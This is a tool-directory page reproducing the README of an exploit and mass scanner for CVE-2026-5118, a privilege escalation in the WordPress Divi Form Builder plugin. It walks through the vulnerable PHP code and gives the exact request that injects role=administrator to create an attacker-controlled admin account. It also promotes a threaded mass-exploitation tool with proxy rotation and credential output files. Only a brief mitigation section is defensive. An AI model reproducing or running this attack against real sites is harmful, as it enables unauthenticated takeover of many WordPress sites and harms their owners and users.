Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-5118 — Automated exploit and mass scanner for CVE-2026-5118, an unauthenticated privilege escalation in WordPress Divi Form Builder <=5.1.2, enabling admin account creation via role injection. | Kitploit
Tools/GitHubGitHub/1beelze/cve-2026-5118
Privilege EscalationPayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingAuthenticationRed Teaming
GitHub1beelze/cve-2026-5118

CVE-2026-5118

Automated exploit and mass scanner for CVE-2026-5118, an unauthenticated privilege escalation in WordPress Divi Form Builder <=5.1.2, enabling admin account creation via role injection.

421 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository

CVE-2026-5118 — Divi Form Builder ≤ 5.1.2

Unauthenticated Privilege Escalation via Role Injection
=== Beelze ( zeroday 1diot9 ) ===


📋 Vulnerability Info

FieldDetails
CVE IDCVE-2026-5118
CVSS Score9.8 (Critical)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-269 — Improper Privilege Management
PluginDivi Form Builder (by Divi Engine)
AffectedAll versions ≤ 5.1.2
Patched5.1.3 (April 13, 2026)
PublishedMay 20, 2026
Researcher0xd4rk5id3 — EnvoraSec
PoCBeelze ( zeroday 1diot9 )

🔍 Description

The Divi Form Builder plugin for WordPress is vulnerable to Unauthenticated Privilege Escalation in all versions up to and including 5.1.2.

The create_user() function inside FormSubmissionHandler.php accepts a user-controlled role parameter from POST data during user registration without validating it against the form's configured default_user_role setting. The only "protection" is sanitize_text_field() — which strips HTML tags and encoding, but does nothing to restrict the value to safe roles — followed by an existence check that merely verifies the role exists in WordPress (and administrator always does).

This triple failure allows unauthenticated attackers to:

  1. Find any page with a Divi Form Builder form (contact, quote, newsletter — doesn't matter)
  2. Extract the global shared nonce (fb_nonce) from the de_fb_obj JavaScript object
  3. Override form_type to register via POST — turning any form into a registration endpoint
  4. Inject role=administrator into the AJAX submission
  5. Create a full administrator account with attacker-controlled credentials

Result: Complete site takeover — zero authentication, zero user interaction, one POST request.


🧬 Root Cause Analysis

1. Unsanitized Role Intake from POST Data

root@kitploit:~
// includes/shared/handlers/FormSubmissionHandler.php — create_user() ~line 2250
$role = isset($form_data['role'])
    ? sanitize_text_field($form_data['role'])   // ← ONLY strips tags/encoding!
    : 'subscriber';                              // ← 'administrator' passes CLEAN

sanitize_text_field() is designed for free-text sanitization (XSS prevention). It does NOT validate against an allowlist of safe roles. The string "administrator" contains no HTML tags, no special encoding — it passes through completely untouched.

2. Existence-Only Validation — Not a Security Check

root@kitploit:~
// ~line 2278
$roles_obj = wp_roles();
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) &&
    !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';   // ← fallback ONLY if role doesn't exist
}

This check asks: "Does this role exist in WordPress?" — and administrator always exists. It never asks the right question: "Is this role safe for public self-registration?" A proper check would validate against an allowlist like ['subscriber', 'contributor'] or enforce the form's default_user_role setting.

3. Direct Role Assignment Without Capability Gate

root@kitploit:~
// ~line 2301
$user = new WP_User($user_id);
$user->set_role($role);   // ← attacker-controlled role applied directly!

No current_user_can('create_users') check. No current_user_can('promote_users') check. No capability verification of any kind. The attacker-supplied role is passed straight to set_role().

4. Global Shared Nonce — Exposed on Every Page with a Form

root@kitploit:~
// Frontend JS localization
wp_localize_script('de-fb-scripts', 'de_fb_obj', [
    'ajax_url' => admin_url('admin-ajax.php'),
    'nonce'    => wp_create_nonce('security'),   // ← SAME nonce on ALL forms, ALL pages
    // ...
]);

The fb_nonce is created via wp_create_nonce('security') — a generic action string shared across every single DFB form on the site. Any visitor can extract it from the page source by reading the de_fb_obj JavaScript object.

5. Form Type Override — Any Form Becomes a Registration Endpoint

root@kitploit:~
// AJAX handler
$form_type = isset($_POST['form_type']) ? $_POST['form_type'] : '';

if ($form_type === 'register') {
    $this->create_user($form_data);   // ← triggered by POST override!
}

The form_type is read from POST data, not from the server-side form configuration. An attacker can send form_type=register to any DFB AJAX submission — a contact form, a quote request, a newsletter signup — and the server will execute the registration code path. The form's original purpose is irrelevant.


⚔️ Attack Chain

root@kitploit:~
[Unauthenticated Attacker]
         │
         ▼
   GET /any-page-with-dfb-form/
   ← HTML source: de_fb_obj = {"nonce":"abc123def0", ...}
         │
         ▼
   Extract fb_nonce from de_fb_obj JavaScript object
         │
         ▼
   POST /wp-admin/admin-ajax.php
   ┌──────────────────────────────────────────────┐
   │  action    = de_fb_ajax_submit_ajax_handler  │
   │  fb_nonce  = abc123def0                      │
   │  role      = administrator        ← INJECTED │
   │  form_type = register          ← OVERRIDDEN  │
   │  user_login = attacker_admin                 │
   │  user_pass  = AttackerPass123!               │
   │  user_email = [email protected]              │
   └──────────────────────────────────────────────┘
         │
         ▼
   sanitize_text_field('administrator') → 'administrator'    ✓ passes
   wp_roles()->roles['administrator'] exists? → YES          ✓ passes
   $user->set_role('administrator')                          ✓ no capability check
         │
         ▼
   ← {"success": true, "data": {"message": "User created"}}
         │
         ▼
   POST /wp-login.php
   log=attacker_admin & pwd=AttackerPass123!
   ← 302 → /wp-admin/
         │
         ▼
   [Full Administrator Access] 🔥

🛠️ Tools

CVE-2026-5118.py — Single Target Exploit

Full 5-phase exploit chain with automatic form discovery and nonce extraction.

root@kitploit:~
python3 CVE-2026-5118.py
root@kitploit:~
  Target URL: https://target.com
  Username [beelze_admin]:
  Password [Beelze123!!@#!]:
  Email [[email protected]]:
  Timeout (seconds) [15]:
  SOCKS5 proxy (blank = none):

Exploit Phases:

root@kitploit:~
Phase 1  ▶  Reachability (HTTPS + HTTP fallback)
Phase 2  ▶  Plugin Detection (readme.txt version check)
Phase 3  ▶  Form Discovery & Nonce Extraction
             ├── REST API page scan
             ├── Common path probing
             ├── Sitemap crawl
             └── Homepage link crawl
Phase 4  ▶  Role Injection (Privilege Escalation)
Phase 5  ▶  Admin Login Verification

Output (scan_results/CVE-2026-5118_success.txt):

root@kitploit:~
https://target.com | beelze_admin:Beelze123!!@#!

CVE-2026-5118-mass.py — Mass Scanner

Threaded mass exploitation with JSONL logging and resume support.

root@kitploit:~
python3 CVE-2026-5118-mass.py
root@kitploit:~
  Target file (one URL per line): targets.txt
  Username [beelze_admin]:
  Password [Beelze123!!@#!]:
  Email [[email protected]]:
  Threads [10]:
  Timeout (seconds) [10]:
  Proxy file (SOCKS5, one per line, blank = none):
  Resume previous scan? (y/n) [n]:

Features:

  • Multi-threaded scanning with configurable thread count
  • SOCKS5 proxy rotation
  • JSONL output for programmatic processing
  • Resume support — skips already-scanned targets
  • Rich progress bar with real-time stats
  • Automatic HTTP fallback when HTTPS fails

Output (scan_results/CVE-2026-5118_success.txt):

root@kitploit:~
https://target1.com | beelze_admin:Beelze123!!@#!
https://target2.com | beelze_admin:Beelze123!!@#!

🔒 Mitigation

  • Update Divi Form Builder to version 5.1.3 or later
  • The patch enforces that the role assigned is always the one configured server-side in the form's default_user_role setting, ignoring any user-supplied role parameter from POST data

Beelze ( zeroday 1diot9 ) — for educational and authorized security research only

Download Tool